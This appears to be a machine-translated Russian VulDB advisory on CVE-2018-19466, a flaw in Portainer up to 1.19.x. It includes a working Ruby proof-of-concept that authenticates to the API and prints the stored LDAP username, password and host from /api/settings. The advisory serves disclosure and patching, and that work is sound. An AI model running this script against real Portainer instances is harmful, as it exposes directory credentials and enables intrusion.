Portainer до 1.19.x API Credentials эскалация привилегий
| CVSS Meta Temp Score | Текущая цена эксплойта (≈) | Балл интереса CTI |
|---|---|---|
| 7.3 | $0-$5k | 0.00 |
Сводка
В проблематичный обнаружена уязвимость, классифицированная как Portainer до 1.19.x. Поражена неизвестная функция компонента API. Осуществление манипуляции приводит к эскалация привилегий (Credentials). Эта уязвимость продается как CVE-2018-19466. Атаку можно провести дистанционно. Более того, существует эксплойт. Рекомендуется обновить затронутый компонент.
Подробности
В проблематичный обнаружена уязвимость, классифицированная как Portainer до 1.19.x. Поражена неизвестная функция компонента API. Осуществление манипуляции приводит к эскалация привилегий (Credentials). Декларирование проблемы с помощью CWE приводит к CWE-255. Информация о слабости была опубликована 27.03.2019 автором Mauro Eldritch (plaguedoktor) (GitHub Repository). Консультация доступна для загрузки на github.com.
Эта уязвимость продается как CVE-2018-19466. Назначение CVE произошло 22.11.2018. Атаку можно провести дистанционно. Технические подробности отсутствуют. Уровень популярности этой уязвимости ниже среднего значения. Более того, существует эксплойт. Эксплойт был раскрыт общественности и может быть использован. Текущая цена за эксплойт может составлять около USD $0-$5k в настоящее время. Согласно MITRE ATT&CK, техника атаки, используемая в данной проблеме, имеет значение T1552.
Задано как Доказательство концепции. Эксплойт доступен по адресу github.com. Уязвимость обрабатывалась как непубличный эксплойт нулевого дня в течение как минимум 123 дней. В случае 0-day эксплойта, предполагаемая цена на подпольном рынке была около $0-$5k. Код, используемый эксплойтом, следующий:
uri = URI.parse("http://#{$host}:#{$port}/api/auth")
request = Net::HTTP::Post.new(uri)
request.content_type = "application/json"
request.body = JSON.dump({
"Password" => "#{$pass}",
"Username" => "#{$user}"
})
response = Net::HTTP.start(uri.hostname, uri.port) do |http|
http.request(request)
end
token = JSON.parse(response.body)["jwt"]
puts "[*] Session Token: #{token}"
uri = URI.parse("http://#{$host}:#{$port}/api/settings")
request = Net::HTTP::Get.new(uri)
request["Authorization"] = "Bearer #{token}"
response = Net::HTTP.start(uri.hostname, uri.port) do |http|
http.request(request)
end
json_response = JSON.parse(response.body)
puts "\n[*][#{$host}]\nSettings:"
puts "\t- LDAP User: " + json_response["LDAPSettings"]["ReaderDN"]
puts "\t- LDAP Pass: " + json_response["LDAPSettings"]["Password"]
puts "\t- LDAP Host: " + json_response["LDAPSettings"]["URL"] .
Обновление до версии 1.20.0 способно решить эту проблему. Рекомендуется обновить затронутый компонент.
Продукт
Имя
Версия
Веб-сайт
CPE 2.3
CPE 2.2
CVSSv4
VulDB Вектор: 🔍VulDB Надёжность: 🔍
CVSSv3
VulDB Meta Base Score: 7.6VulDB Meta Temp Score: 7.3
VulDB Базовый балл: 5.3
VulDB Временная оценка: 4.8
VulDB Вектор: 🔍
VulDB Надёжность: 🔍
NVD Базовый балл: 9.8
NVD Вектор: 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Вектор | Сложность | Аутентификация | Конфиденциальность | Целостность | Доступность |
|---|---|---|---|---|---|
| Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
| Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
| Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
VulDB Базовый балл: 🔍
VulDB Временная оценка: 🔍
VulDB Надёжность: 🔍
NVD Базовый балл: 🔍
Эксплуатация
Имя: CredentialsКласс: эскалация привилегий / Credentials
CWE: CWE-255
CAPEC: 🔍
ATT&CK: 🔍
Физический: Нет
Локальный: Нет
Удалённый: Да
Доступность: 🔍
Доступ: публичный
Статус: Доказательство концепции
Автор: Mauro Eldritch (plaguedoktor)
Язык программирования: 🔍
Скачать: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Прогноз цен: 🔍
Оценка текущей цены: 🔍
| 0-Day | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
|---|---|---|---|---|
| Сегодня | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
Разведка угроз
Интерес: 🔍Активные акторы: 🔍
Активные группы APT: 🔍
Контрмеры
Рекомендация: ОбновлениеСтатус: 🔍
0-дневное время: 🔍
Обновление: Portainer 1.20.0
Патч: github.com
Хронология
22.11.2018 🔍24.11.2018 🔍
27.03.2019 🔍
28.03.2019 🔍
17.08.2023 🔍
Источники
Продукт: github.comКонсультация: github.com
Исследователь: Mauro Eldritch (plaguedoktor)
Статус: Подтверждённый
CVE: CVE-2018-19466 (🔍)
GCVE (CVE): GCVE-0-2018-19466
GCVE (VulDB): GCVE-100-132499
scip Labs: https://www.scip.ch/en/?labs.20161013
Вход
Создано: 28.03.2019 11:38Обновлено: 17.08.2023 06:22
Изменения: 28.03.2019 11:38 (51), 24.05.2020 09:02 (17), 17.08.2023 06:22 (4)
Завершенный: 🔍
Cache ID: 216::103
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.
Комментариев пока нет. Языки: ru + be + en.
Пожалуйста, войдите в систему, чтобы прокомментировать.